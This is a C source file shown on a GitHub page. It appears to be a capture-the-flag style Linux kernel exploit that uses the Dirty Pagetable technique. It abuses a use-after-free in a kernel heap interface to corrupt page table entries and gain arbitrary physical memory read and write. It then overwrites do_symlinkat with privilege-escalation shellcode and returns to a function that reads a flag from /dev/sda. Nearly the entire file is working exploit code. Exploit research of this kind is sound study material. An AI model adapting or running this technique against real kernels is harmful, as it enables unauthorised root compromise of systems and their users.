-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdirty_pagetable.c
168 lines (141 loc) · 4.04 KB
/
dirty_pagetable.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#include "libs/pwn.h"
#include "linux6.6.22/shellcode.h"
#include <sched.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <sys/wait.h>
#include <unistd.h>
/*******************************
* EXPLOIT *
*******************************/
/*
* inspired by:
* https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606#UAF-in-physical-memory
* this version overwrites do_symlinkat with privilige escalation shellcode
*/
// can't call logging helpers directly
// BUG: Bad page cache in process pwn pfn:02850
int fd, dmafd, ezfd = -1;
static void win() {
char buf[0x100] = {0};
int fd = open("/dev/sda", O_RDONLY);
if (fd < 0) {
puts(LERROR "Lose...");
exit(EXIT_FAILURE);
} else {
puts(LINFO "Win!");
read(fd, buf, 0x100);
fputs(LINFO "flag: ", stdout);
fputs(buf, stdout);
puts(LINFO "Done");
}
exit(EXIT_SUCCESS);
}
uint64_t user_cs, user_ss, user_rsp, user_rflags;
static void save_state() {
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
#define N_SPRAY 0x400
// size for direct cross cache attack
#define PTE_SIZE 0x10000
int main(int argc, char *argv[]) {
void *ptr;
uint64_t pte;
char leak[PTE_SIZE] = {0};
char *spray[N_SPRAY];
lstage("INIT");
pin_cpu(0, 0);
save_state();
init();
lstage("START");
for (int i = 0; i < N_SPRAY; i++)
spray[i] = mmap((void *)(0xdead000000 + i * 0x10000), 0x8000,
PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
linfo("create dangeling ptr");
ptr = keap_malloc(PTE_SIZE, GFP_KERNEL_ACCOUNT);
keap_write(ptr, leak, PTE_SIZE);
keap_free(ptr);
linfo("spray PTEs");
for (int i = 0; i < N_SPRAY; i++)
for (int j = 0; j < 8; j++)
*(uint64_t *)(spray[i] + j * 0x1000) = 0x6fe1be2;
#ifdef DEBUG
keap_read(ptr, leak, PTE_SIZE);
print_hex(leak, 0x80);
#endif
keap_read(ptr, &pte, 0x8);
CHK((char)pte == 0x67);
linfo("corrupt PTE using UAF with fixed physical address");
// fixed physical address
pte = 0x800000000009c067;
keap_write(ptr, &pte, 0x8);
linfo("find corrupted page");
void *vuln = 0;
uint64_t physbase = 0;
for (int i = 0; i < N_SPRAY; i++) {
for (int j = 0; j < 8; j++) {
if (*(uint64_t *)(spray[i] + j * 0x1000) != 0x6fe1be2) {
vuln = (uint64_t *)(spray[i] + j * 0x1000);
physbase = (*(uint64_t *)vuln & ~0xfff);
break;
}
}
if (physbase)
break;
}
CHK(physbase);
linfo("physbase = 0x%lx\n", physbase);
linfo("corrupt PTE into AAW/AAR");
// grep do_symlinkat /proc/kallsyms
// 0xffffffff811bbe10
uint64_t do_symlinkat_func = 0x11bbe10;
// physbase with nokaslr + 0x3000 (only if kaslr is enabled)
uint64_t offset = 0x2401000 + 0x3000;
pte = 0x8000000000000067 | (physbase + (do_symlinkat_func & ~0xfff) - offset);
keap_write(ptr, &pte, 0x8);
#ifdef DEBUG
keap_read(ptr, leak, PTE_SIZE);
print_hex(leak, 0x80);
#endif
// reload pte or sth idk
void *old_vuln = vuln;
vuln = NULL;
for (int i = 0; i < N_SPRAY; i++) {
for (int j = 0; j < 8; j++) {
if (*(uint64_t *)(spray[i] + j * 0x1000) != 0x6fe1be2) {
vuln = (uint64_t *)(spray[i] + j * 0x1000);
break;
}
}
if (vuln)
break;
}
CHK(vuln == old_vuln);
#ifdef DEBUG
keap_read(ptr, leak, PTE_SIZE);
print_hex(leak, 0x80);
#endif
lstage("PRIVESC");
linfo("preparing shellcode");
void *p;
p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22",
8);
*(size_t *)p = (size_t)&win;
p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44",
8);
*(size_t *)p = user_rflags;
p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55",
8);
*(size_t *)p = user_rsp;
linfo("overwriting do_symlinkat_at");
memcpy(vuln + (do_symlinkat_func & 0xfff), shellcode, sizeof(shellcode));
linfo("%d", symlink("/jail/x", "/jail"));
lerror("Failed...");
}